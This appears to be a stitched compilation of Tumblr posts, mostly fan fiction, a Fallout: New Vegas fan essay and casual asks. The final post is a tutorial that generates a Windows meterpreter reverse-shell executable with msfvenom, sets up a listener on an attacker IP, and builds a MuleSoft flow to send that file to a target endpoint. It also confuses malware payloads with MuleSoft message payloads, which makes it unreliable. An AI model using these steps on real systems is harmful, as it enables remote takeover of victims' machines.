C██PL█TED. INITIALIZING IR█EGUL██ S██TE█] Levia's form soon began to be sucked into the black box— > [ERROR] > [THE SUBJECT YOU WISH TO SPECTATE CANNOT BE LOCATED.] > [SHUTTING DOWN...]

[—~—]

> [INITIALIZING — BLACK BOX TYPE H] > [FAILURE TO CONTINUE SPECTATING. ERROR CODE: 01001001 01010010 01010010 01000101 01000111 01010101 01001100 01000001 01010010 01001001 01010100 01011001] > ? > [COMMAND NOT RECOGNIZED.] > record > [DO YOU WISH TO RECORD THE SCENE YOU ARE CURRENTLY SPECTATING?] [Y/N] > y > [FAILURE TO EXECUTE COMMAND. ERROR CODE: 01001001 01010010 01010010 01000101 01000111 01010101 01001100 01000001 01010010 01001001 01010100 01011001] > ... > [COMMAND NOT RECOGNIZED.] > spectate Levia Barisol > [FAILURE TO EXECUTE COMMAND. THE SUBJECT YOU WISH TO SPECTATE CANNOT BE LOCATED. ERROR CODE: 01001001 01010010 01010010 01000101 01000111 01010101 01001100 01000001 01010010 01001001 01010100 01011001] > spectate irregular 04 > [FAILURE TO EXECUTE COMMAND. THIS COMMAND HAS BEEN BLOCKED BY ADMIN Sickle] > ...damn it. > [COMMAND NOT RECOGNIZED.] > kys > [DO YOU WISH TO INITIATE SELF-DESTRUCTION PROTOCOLS?] [Y/N] > n > [SELF-DESTRUCTION PROTOCOLS HAVE NOT BEEN INITIATED.]

[—~—]

"...Damn it... Let's hope that plan works..." The woman brushed a hand through her hair, before picking up her phone. All those errors could only mean that the Irregular System had been used. She'd hoped it wouldn't get to that point, but she knew that the denial abilities of that girl were way too good. It was probably sheer luck that she was smart enough not to be consumed by conspiracy theories... TALOS blocking her from spectating the one other person in that scene was a low blow, though. She didn't care that he was the 'chosen one' or whatever, she was curious, damn it! Perhaps she could try spectating the body? Yes, maybe that would work... No matter what, she'd look after this world from beginning to end. And it was not quite over yet.

[in-hav3n]

Ok so hear me out. Would you please write me this fantasy:

This one is kinda more fluffy but I have that stupid PHOBIA of insects and spiders and moths. I need him to either get rid of the bug for me or kill it for me or something. Makes me feel so single imagining a cute little domestic scenario like that, and him laughing at you screaming and the way you stand so far back from the quarantined area watch from behind a door and he smiles at you acting like a little girl (not in a weird way btw, like he imagines briefly what you were like as a child in a cute way) and how you initially scream BLOODY MURDER, probably knocking shit down and then plundering down the stairs aggressively shaking down your clothes saying “IT FEELS LIKE ITS ON ME” and he is in the garage or something and hears the commotion and comes in looking ALL KINDS OF FUCKING FOINE. Then he just effortlessly gets rid of it, but pretends to throw it on you maybe or if not that he pretends to be afraid of it like you before just getting rid of it. The era I’m picturing… um, like 2003. Gimme some beef😏

THANK YOU FOR EVEN CONSIDERING THIS AND YED. If you create this, good things will happen to you, thags just how it works tbh.

𝐒𝐀𝐕𝐄 𝐌𝐄

WARNINGS : horrible spider lol

It was a rainy Sunday in San Fransisco. Winter was slowly coming, bringing a smooth and fresh atmosphere to the city. After sharing delicious breakfast with your boyfriend, you both decided to go back to your own businesses of the day. James went to his garage to do some handy work on this new old car he recently bought while you decided to spend more time in the kitchen, enjoying this morning peacefulness.

You grabbed a coffee mug and sat down at the table to read some local newspaper brought by the postman yesterday. You weren't really in a hurry this morning and it felt good. You just wanted to enjoy this tranquility you couldn't have during the week. But someone else asked for your attention first. A slight bark and a head bump reminded you that it was time to feed your dog Disco.

"Oh I'm sorry buddy, you were outside and we forgot you", you said to him, quickly getting up to put some food into his plate. "What horrible owners are we, uh?", you scratched his ears and he completely forgot your mistake as soon as he started to devour his meal.

You gave him one last little smile before going back to your reading. You took a sip of your hot beverage and let out a sigh of satisfaction. Being at home was the best feeling in the world. James would be there for at least a month and you already planned many things to do. Including best cuddling sessions after weeks of separation. What you did last night actually and the thought of it is enough to make you smile.

Twenty minutes later, you were still reading, humming a song you had in mine for a while as you were turning the pages. You could also heard James' electric devices from the garage but you didn't mind. You liked when he was busy and when he was at home. You always missed his presence so much.

But suddenly, your smile faded, as soon as you felt something on your bare leg. You froze for a short time, wondering what it was. Probably Disco moving around but...then you realized he was sleeping peacefully near the dishwasher, belly full.

You froze more. If it wasn't Disco, then what could it be? You didn't dare to check and let your mind giving you a picture of the thing that probably was on you. Maybe just a envy to scratch your skin, after all you shaved two days ago...but then, your mind brought you less funny pictures. What if it was a bee? A fly ? A moth ? Or something worse like...a spider ?

You gulped and didn't move. You wanted to see if this feeling was your imagination or if something was really on you so you leaned a bit on your chair but you couldn't see what was under the table. You was kinda reassured when you didn't feel anything for a while when brusquely it moved again. And now you started to panic...

Your breath just increased and you looked around, searching for a solution. You closed your eyes when you felt this "thing" literally walking on your skin...You couldn't take this anymore. With a gasp of fear, you quickly pushed this horrible thing from you, shaking your leg the best you could as you back your chair away in a full speed.

"Oh my god, oh my god!", you mumbled as moving around, searching for a safe place somewhere, far from the monster and landed standing on the couch. Disco looked at you with curious eyes and tilted his head on his side, asking you what was going on. You panted hard, waiting for a sign of the beast. Until it finally showed up, walking peacefully before stopping near your chair.

When your eyes landed on it, you felt another rush of fear. It was a big black spider, with horrible long legs. It could have had the size of a tarantula cause it was absolutely big. No way you were going to kill it by yourself.

"JAMES!", you shouted as loud as you can, when you heard a silence coming from the garage. He wouldn't have heard you with his machines. You heard some other noises and screamed for his name again, adding a little "QUICK ! HELP ME". With that you were sure he'd come in a hurry. And two minutes later indeed, heavy footsteps were heard and then the door was opened.

He looked around, thinking he'd find you in the kitchen but then noticed the chair on the floor and your presence in the living room. "What are you doing there ? Is there a problem, I heard you screaming", he explained with a frown, wondering what you were doing on the couch.

"Oh James please help me!", you begged, almost shaking of fear. "You have to kill it, please!".

"What should I kill ?", he asked again, still curious about the situation.

"This horrible monster near the kitchen table! Please, please do something, it's a big tarantula, an horrible giant tarantula", you explained as pointing out the place where it was. James frowned and walked in the direction, searching for the "monster" you were talking about. He stopped near the beast and suddenly cracked a laughter.

"This monster?", he knelt down to observe it closer.

"James, are you mad ?! Go away from that thing and smash it please!", you begged when you saw him. Was he crazy? Intrigued too, Disco woke up to check what James was doing. "Ha! Wait, Disco is too close baby, please push him away and do something!".

"Sweetheart, calm down...it's only a little spider...", he said softly as he got up, searching for something to smash it while Disco was sniffing it.

"Little spider? Are you kidding me? This monster was on my leg, I can tell you this isn't little AT ALL!", you replied, scratching your legs like if you could still feel it on you. James giggled more and finally found something to smash it with. He kneeled again and you looked at him, hoping this horrible beast would be out of this world very soon.

When James tried to smash it the first time with one of his shoe, he missed it. And you saw the spider walking faster in your direction. Without thinking twice, you screamed loud and high as you can as you jumped faster over the couch to run till the stairs where you finally stayed, feeling safer.

"James please, you can kill a beast with a fucking gun from afar, don't tell me you can't kill this fucking spider !", you begged again, scanning every movement of it to see if it wouldn't come in your direction.

'Hey I do my best!", he replied as he walked to the spider, Disco following him as well. He focused on his target and let his shoe falling down on to, finally smashing it down. "Got it!".

You sighed of relief when you see the horrible beast wasn't on your floor but stuck on the back of his shoe. What a luck James was at home, you wouldn't have been able to do that on your own. You'd have probably stayed outside till he'd have come back home...

"Nothing to worry about baby. It was just a little spider. You know this couldn't have killed you, right ?".

"Oh no, she could have! Believe me! I know this horrible...AAAH!", you screamed louder, jumping from the stairs when James came closer to tease you. He ran after you with his shoe exposed.

"Are you sure?", he said, giggling like a goofy.

"James! C'mon stop this!", you begged, almost like a little girl but it was stronger than you. Insects, and spiders actually, were your biggest fear. "I really ask you to stop, please!"

"Oh c'mon", he chuckled and put the shoe away, near the main door. He'd get rid of the spider later. Instead he came closer to wrap his big arms around you.

"I warn you, if you have this damn fucking spider with you, I'll kill you", you warned him, already preparing yourself to run away again. But James wrapped his arms around you, reassuring you.

"Don't worry baby", he gently said, amused by your attitude. "I have nothing with me, I just want to protect you against a tiny spider". You snuggled into his beefy arms and hid your face against his comforting chest.

"That's not funny at all, you know how much I fear those monsters", you mumbled, asking for some comfort he gave you soon. He rubbed your back, whispering some "hush" near your ear.

"I know baby and you're so cute when you're afraid like this", he smiled and kept doing his gestures to comfort you. You blushed a little but he couldn't see. At least, he thought your childish's reaction was cute. "And you know I'd protect you from any threat...big and little threats", he said.

"This is my man!", you answered, feeling safe in his arms...

A/N : Thank you sweet anon for your ask! I'm sorry for the delay, I needed some time to feel the inspiration coming back :( Hope you'll enjoy it, I had fun writing this!

[calebwittebane]

but yeah thank you for enjoying Leigh Stasik The Cannibal Postfighter (gender neutral form of postman) And Her Wacky New Vegas Journey. glad to have shared it with you. but now, heres the thing. i find that the independent route in particular really really suffered from the game ending up somewhat unfinished and with a lot of cut content and reduced factions. the whole "chaos ensued, everyone was on their own, until shit finally calmed down thanks to the securitrons" - well i dont think its good enough. like ive mentioned before, in my head there exists a better version of the independent new vegas route, and the basis of it is properly uniting various scattered factions to form a coalition of support, respect, and building a better future. those are (putting shit under a readmore cuz i ended up rambling a lot):

- the followers of the apocalypse, obviously. i actually think its odd that when you talk to julie farkas right before hoover dam, shes like >_> uhh why should i support an independent new vegas, new vegas is so sucks with how all the poor people get locked outside with so few resources... girl?? like this has to have been a very haphazard way to patch the whole 'this was supposed to be a major faction' thing but like. new vegas isnt just the strip... new vegas is the strip, freeside, outer vegas (westside et al), all those semi-populated areas around it, and by all account all territory east of the red rock canyon, west of the colorado river, south of the northern passage, and north of the mojave outpost, which I'm Told is on the border between the new vegas territory and the ncr LUL... and besides, obviously ncr and the legion and mr house are not options with any intent of dismantling the inequality. like i think the response was meant to specifically regard a scenario where the courier just ends up holed up in the strip with all the securitrons, without making any effort to ally themselves with local factions, and without any regard for the people... but again, I Am Not Satisfied With That. girl i got the idolized reputation and then joined the followers For A Reason..... im too lazy to check but does she have something else to say if you have a very high reputation in freeside? oh well WOTEVER. the followers of the apocalypse. theyre part of this.

- the kings. also somewhat obvious. they caare about freeside... i think given more resources and without the ncr crawling about annoying them they can really start to improve things and keep the place reasonably peaceful. The Local Elvis Impersonator And Gay Ass Greaser Community Government

- the outer vegas, especially westside. it really is great that theyve got their own co-op farms and a militia protecting them, and now imagine what itd be like if they werent being pushed away into a small run-down area with shit falling apart and very little land to cultivate. hey guys all this farmland south from freeside that the ncr had been hogging? When We Join Forces, It Is Ours, Meaning Its Yours. the water infrastructure, the crops, the storage. now were gonna need more engineers to keep up with maintenance but heres the thing: the ncr had been snatching up all locals with any kinda engineering know-how to help with Their infrastructure, but now theyre not here anymore. theres Plenty of repair people, handyfighters (gender neutral form of handyman), engineers and so on, scattered all over mojave, some of them doing fuckall, and much more people that could be taught such things and contribute. we can get shit running smoothly and im not just talking about the irrigation systems and so on. with the helios one fully operational and sending power to freeside and outer vegas, with greatly improved freedom of movement... girls we can get it all running. also! the sewer network? can we talk about the robust sewer network and the people just straight up people living in there underground. baby, we can make that a good place to live. rent free of course. and it could be used for transportation, too! guys... we are tapping into this potential. and we are gonna vastly reduce stink and smell levels, to help prevent the spread of disease. actually yeah theres a lot that could be done just by improving the hygiene around here, now that the ncr isnt hoarding all the water. less stink and smell, less disease, better access to medical care... oh baby!

- jacobstown! i was actually Elated to see the ending slide saying dr henry found the cure for the nightkin. the ncr were largely responsible for exacerbating distrust of the super mutants and trying to cause hostility, and without them around... i believe Peace And Friendship with the rest of new vegas is possible. of course i imagine many would prefer to stay in jacobstown, what with it being The Super Mutant Establishment And Safe Haven, but yknow. i bet many would like to go out there and live among people. like that guard in westside. imagine the possibilities. education and opportunities would be provided, distrust mended. hell, black mountain could also be a peaceful super mutant establishment, with treatment provided to the nightkin living there, and neil taking on a marcus type role there. the area would need a Lot of work, but hey, with super mutants no longer being pushed to the absolute furthest margins of society, i believe a lot can be achieved.

- yes man and the securitrons obviously. Now. i really dont care for making them the sort of aggressive militaristic police force that mr house wanted them to be. i believe, of course, in using them as a sheer Force against the legion and the ncr, to drive them away and keep them away, and to protect the continued independence of the region. i also think that early on they might be necessary in kind of temporarily filling in the gaps left behind by the ncr, to prevent chaos and aid in a smoother reorganization wherever theres not enough people to run things. there are many good ways for securitrons to contribute, and indeed this is true of all sorts of robots that used to languish in old factory buildings or protect mr houses property. robots can be understood better and given the opportunity to become citizens--dude theres lots of robots with feelings and free will and so on, and while i recognize its just a kinda scifi trope thats rarely given that much nuance, well! We Can Do Better. allow robots to hang out. allow robots to advocate for themselves. allow robots to have their internal lives acknowledged. allow robots to seek happiness and entertainment. allow robots to be chilliiiiinnng 👍

- ex-ncr. listen. theres some good folks in the ncr and lots of people who got Fuck All in return for their service and have every reason to turn their back on it. the folks who got pretty much stranded at searchlight, stuck sitting next to an irradiated town and just telling people not to go in? the people looking after refugees at bitter springs--what, five of them? guarding the entire refugee camp, completely exposed to any legion raid that chooses to take a swing at them, no reinforcements or extra supplies coming unless a Local Celebrity runs around ncr centers and begs people to send anything? camp golf? and so on and so forth. dude. the new vegas campaign is a very unpopular war. the ncr back home dont rly gaf. all over the mojave lots of people signed up just because they didnt think there was any other option, and they wanted to make a difference. theres people being given orders from the higher ups to wreck entire communities, and well They Dont Wanna Do That. well tell you hwhat folks. quit. if youre about to get your paper renewed, dont. if youve got more time on your contract, fuck it, disregard that. the ncr go around losing entire squads and never finding out what happened. You Can Leave The Army Today. You, Too, Can Betray The New California Republic. ask not what you can do for the republic--ask what the fuck ever the republic has done for you. and if it has done something for you, ask if it couldnt have been done better and sooner if the actual interests of the ncr didnt lie elsewhere. reach out to your ptsd-ridden colleagues. reach out to your exhausted, dissatisfied neighbors. think about, for all the Civilized Customs that the ncr has supposedly brought along, all the bigotry theyve been spreading In Here, On This Land, Like Its Theirs. no! You Can Stop Being A Bootboy Today. you can put your talents and courage and good will to better use. look at my friend boone here. you see him? do you know what he got from the ncr? PTSD, Complicity In Atrocities, debilitating guilt, bald head in his 20s, and an overwhelming sense of doom. do you know what he got from ME, the leading voice of the independent option? emotional support, a chance to protect the communities the ncr wanted him to destroy, friends, career opportunities, enrichment, epiphanies, a chance to kill a buncha fascists, a near-endless supply of nuka cola, a bunch of knives, a teddy bear, and more! thats right. thats right. ditch the ncr. join us. folks, this is the way to go.

- ghouls. wonder what should be done about the irradiated areas? how about letting ghouls, who thrive in radiation, create their own settlements. peace and quiet. because, listen. deprived of communities, pushed to the margins, left to roam the most desolate areas, the odds of ghouls becoming feral are frighteningly high in the mojave. we know from harland that there just arent many places for a ghoul to hang out around here if they want some semblance of a community, besides enlisting for the ncr, which is an unpopular choice. thats why he opted to join the bright brotherhood, and i just think folks prooooobably deserve better than a religious cult that ended in mass suicide. anyway. radiation provides an easy barrier against most threats from the outside. necessary supplies can be delivered to the new settlements by robots and properly equipped workers. ghouls are ancient. among ghouls are some of the finest scientists and historians. ghouls can work with technology languishing in areas too irradiated for humans to delve into. can you imagine the technological progress that could be achieved in such settlements? but also chilling. lots of chilling. chilling.com/careers. the ghouls shall be chillinnnng 👍

the boomers and the brotherhood of steel are reclusive and dont wanna deal with outsiders--hey thats okay, do what you want, live and let live, just Dont Start Shit and also know that you have options. no offense to the brotherhood but you love sending patrols into the mojave and losing them to enemies and situations, so i dont think going to war with the new government is something you wanna do. you dont have the range. you dont have the giant robots. and well, good. that makes you more likeable actually. i hate those guys with all that liberty prime vertibirds rockets type bullshit going on. buncha smiling fascists. who do they think they are. whatre you doing that for. bye.

so yea. thats my Independent New Vegas Coalition. and the first step to truly unifying those factions Before the second battle of hoover dam, before ncr's retreat? showing them that united, together, we can do things that the ncr cannot. and what would that be you ask. simple. killing caesar. storming the fort, releasing the slaves and hostages and ensuring their safe journey to new vegas where theyll be looked after, and executing baldie via firing squad. thats right. thats right. no one from the ncr has even been inside the fort but i have. i know the layout. i know the weaknesses. i know the terrain. i know how theyre connected to the west and to the east. and guess what. thisll help us in the long run in many different ways, not just the obvious "caesar is dead yayyy" way. easier to deploy securitrons from the bunker under the fort if theres no legion about. oh thats right! weve got securitrons in there, folks. neat isnt it! like i said. doing things the ncr cannot. why would you look at that, kimball, oliver, all the other fools. hows that war with the legion going for ya. oh whats that? caesar is dead? oh yes. and it wasnt you guys who did that. we did that. so i just think its really funny how... um... weve got this. go home. or else take that taste the pain

[moonstruckme]

Please Mr. Postman

summary: it's your first day at a new job, and the postman who comes by your office is especially friendly

cw: just fluff honestly, passed on opportunities to talk about post worker uniform shorts (sorry, won't happen again)

postman!James x fem!reader ♡ 732 words

A friendly tap on the glass startles you out of your stolen moment of meditation. You tear your face away from its hiding place in your hands to find a mail carrier peering at the large, darkened window of your office, shading his eyes to see in. You hasten and hit the button to unlock the door before he can. 

Your office setup sort of makes you feel like a fish in a tank, or a zoo animal in a glassed-in enclosure. You’ve been itchy with the discomfort of being seen all day. You take a moment to straighten the row of pens on your empty desk as the postman’s voice booms in the entryway around the corner. 

“Margaret, I never thought I’d see the day! Slipping on the job, tsk, tsk—” He fits his dolly through the doorway of your office with a practiced maneuver, stopping short when he sees you. “Oh. You’re not Margaret.” 

You shoot him a small, sheepish, please-don’t-be-mad-at-me smile (you’ve had lots of practice with it already this morning). “I’m new.” 

“You are!” he says, like this is the discovery of his day. “What’s your name, lovely? I’m James.” 

You tell him yours, itching for a pen to write his name down with. You’ve had to learn so many, but James strikes you already as someone who remembers names and you’d hate to forget his. He has a bright smile that pokes dimples into sun-kissed cheeks and the sort of warm voice which threatens more smiles to come. He’s handsome, muscular limbs making his uniform fit tightly around his biceps and quads and brown eyes made large behind thick glasses. 

“Margaret’s moved into accounting,” you tell him. “I’m replacing her, today’s my first day.” 

James nods sagely. “Well, you look well prepared for it. Got all your pens in order” —your cheeks warm at his notice— “and you look very smart.” The warmth worsens. Your toes ache inside your stiff new shoes. “I’m sure you’re making a great impression.” 

“Thanks,” you say, voice softening self-consciously. “I hope so.” 

“Oh, don’t worry.” He waves you off, leaning his hip against your desk. “Everyone here seems very nice. I mean, I’ve mostly spoken to Margaret, but still. How are you finding it?” 

“Um.” You glance towards the door that leads to the rest of the office as though your boss is standing with her ear pressed to it. “It’s nice, so far, yeah. The coffee in the break room is good, so.” 

James’ laugh is loud and lively, echoing in the small space. It makes you smile; you don’t think you’ve said anything so funny as to earn such a sound. 

“Well, that’s the best you can hope for, isn’t it?” he asks. “Good coffee to keep trudging through. And it is only your first day, you can’t likely make an estimate of the whole place just yet.” 

“Exactly,” you say, relieved. 

“Is this the sort of thing you want to do? Work here, I mean?” 

“Oh.” The question catches you off guard. It’s more than the weak small talk you’ve made with the other delivery people who’ve come by today, but there’s an earnestness in James’ face that says he really wants to know. “Yeah, it is. I mean, maybe not here” —you gesture to your unadorned fishbowl of an office— “but in this field, yeah. I’d like to stay here if I can.” 

He grins. “I’m sure they’ll be thrilled to have you, lovely. Well,” he heads for the stack of boxes against the wall, “I don’t want to keep you. This might take me two trips, but don’t mind me coming in and out, alright?” 

“Oh.” You watch him load six boxes expertly onto the dolly, biceps flexing slightly as he tilts it back onto the wheels. “Do you want any help?” 

The grin James flashes you sends a funny tingle down your spine. “You’re sweet. Thanks, I’ve got it. Just unlock the door for me on my way back in, yeah?” You do keep an eye on the door this time. You offer again to help when he comes back, but James only makes a comment about your work clothes being too nice to get dirt on and waves you away with an easy smile. You find yourself watching his truck rumble out of the parking lot with a light, fluttery feeling in your stomach.

[tvguts]

yeah! that's probably why and how they got dan castellaneta to voice that pissed off postman. to say nothing of drew barrymore, ed asner, michael stipe etc. it's such a weird silly little movie and it's got all these huge celebrities tied to it.

sorry for answering this so late but this def. explains a lot of olive the other reindeer! interesting to see so many low budget christmas movies with celebrity participants-- Olive is a best-case scenario, but we just watched a pretty bad CG sequel to rudolph the red nosed reindeer with an all-star voice cast for no real reason. Rapsittie Street Kids is another fantastic example of this. how do they keep roping celebrities into christmas specials, i wonder?

[cherryjuicegf]

alone + midnight + mistake for the ask game <3

thanks bestie absolutely LOVED these and it turned out to be an essay so under the cut <3

alone: just the right spot actually because loneliness is like a huge theme in the story. katerina has generally felt alone forever and pretends she's completely fine with that and she had no other choice really, she has many ways of being with herself. yet she's social and pleasant and just seeks company everywhere but never actually commits, never actually belongs, she is safe in her aloneness and she doesn't admit it and that's why, even though she craved human connection, she married a man who's away for a year at a time. stavros on the other hand is like. extremely angry. enraged. he is forced to be alone by society, by his mother and after alkis goes to the sea, by his best friend and the love of his life. his one chance at not being alone is snatched from him and he takes it out both on katerina and alkis in very subtle ways. but the thing is he craves company so much he ends up connecting with the woman he's trapping in his revenge narrative so. yeah not rly good at planning. on his own he's very introspective (in the wrong direction nevertheless) and i like to think he inspects himself in the mirror a lot, trying to be on his own who he cannot be outside. but the whole point of his character is his need for love and company which he's deprived of even in the best case scenario of running away so he cannot handle being actually alone. the only thing keeping him is the secret hope that, despite everything he's done, he is not alone.

midnight: katerina absolutely has no restful sleep schedule, miss girl hasn't slept free of anxiety ever in her life. constant anxiety that she's not enough, that her life is slipping away, trying to convince herself that she made the right choice and to a point believing it so that she doesn't hive her mother the satisfaction of running away again in failure. she wakes every morning and haunts the porch of her house to see if stavros will deliver a letter and can't stop questioning her disappointment and her happiness at the same time. and it's the loneliness that connects her with stavros tbh because it's the main reason he stays awake. he stays in bars till morning hoping to merge with the crowd, be invisible. he has the earliest shift as a postman. he lays in bed at night thinking about how empty it feels, how different everything could be and how he can get away. ridden with guilt for deceiving katerina, for even thinking about leaving his mother alone, for being so cowardly to do what he wants, or needs to do to get away. generally not much of a good night's sleep for these two.

mistake: love how all these are interconnected huh. i think katerina hasn't yet realized her marriage is that worst mistake for. well. MANY reasons. she's so loyal and has faith and alkis really did make her feel something extraordinary so she gave no second thought and she's fighting tooth and nail to keep it together now and when she realizes [redacted] happens so she will really never be able to fix it, forever trapped. so like her worst mistake is being desperate for love, and not admiting it made her reckless too. stavros on the other hand has .uh. has made many mistakes. uh. dude is a rocky slope fr. he thinks his worst mistake is opening up to katerina and he tries to take it back desperately but it's too late and she always sees underneath it so their connection is inevitable. so then his worst mistake could be that he is so devoted to alkis but so blinded by his bitterness and anger that he forges this terrible lie to try and get away from him, and keeps it up until everyone gets hurt so idk. maybe his worst mistake is being prone to passion. his worst mistake is loving. oh and no one ever moves on :)

[yanderes-galore]

When you made your first yandere story here on Tumblr, have you imagined that you would become so big and appreciated on this site? Also, do you remember which was your first story? It's still here?

I wasn't really sure how popular I'd get.

Yet my first Tumblr story was this one:

[mulemasters]

Metasploit: Setting a Custom Payload Mulesoft

To transform and set a custom payload in Metasploit and Mulesoft, you need to follow specific steps tailored to each platform. Here are the detailed steps for each:

Metasploit: Setting a Custom Payload

Open Metasploit Framework:

msfconsole

Select an Exploit:

use exploit/multi/handler

Configure the Payload:

set payload <payload_name>

Replace <payload_name> with the desired payload, for example: set payload windows/meterpreter/reverse_tcp

Set the Payload Options:

set LHOST <attacker_IP> set LPORT <attacker_port>

Replace <attacker_IP> with your attacker's IP address and <attacker_port> with the port you want to use.

Generate the Payload:

msfvenom -p <payload_name> LHOST=<attacker_IP> LPORT=<attacker_port> -f <format> -o <output_file>

Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Execute the Handler:

exploit

Mulesoft: Transforming and Setting Payload

Open Anypoint Studio: Open your Mulesoft Anypoint Studio to design and configure your Mule application.

Create a New Mule Project:

Go to File -> New -> Mule Project.

Enter the project name and finish the setup.

Configure the Mule Flow:

Drag and drop a HTTP Listener component to the canvas.

Configure the HTTP Listener by setting the host and port.

Add a Transform Message Component:

Drag and drop a Transform Message component after the HTTP Listener.

Configure the Transform Message component to define the input and output payload.

Set the Payload:

In the Transform Message component, set the payload using DataWeave expressions. Example:

%dw 2.0 output application/json --- { message: "Custom Payload", timestamp: now() }

Add Logger (Optional):

Drag and drop a Logger component to log the transformed payload for debugging purposes.

Deploy and Test:

Deploy the Mule application.

Use tools like Postman or cURL to send a request to your Mule application and verify the custom payload transformation.

Example: Integrating Metasploit with Mulesoft

If you want to simulate a scenario where Mulesoft processes payloads for Metasploit, follow these steps:

Generate Payload with Metasploit:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Create a Mule Flow to Handle the Payload:

Use the File connector to read the generated payload file (malware.exe).

Transform the file content if necessary using a Transform Message component.

Send the payload to a specified endpoint or store it as required. Example Mule flow:

<file:read doc:name="Read Payload" path="/tmp/malware.exe"/> <dw:transform-message doc:name="Transform Payload"> <dw:set-payload><![CDATA[%dw 2.0 output application/octet-stream --- payload]]></dw:set-payload> </dw:transform-message> <http:request method="POST" url="http://target-endpoint" doc:name="Send Payload"> <http:request-builder> <http:header headerName="Content-Type" value="application/octet-stream"/> </http:request-builder> </http:request>

Following these steps, you can generate and handle custom payloads using Metasploit and Mulesoft. This process demonstrates how to effectively create, transform, and manage payloads across both platforms.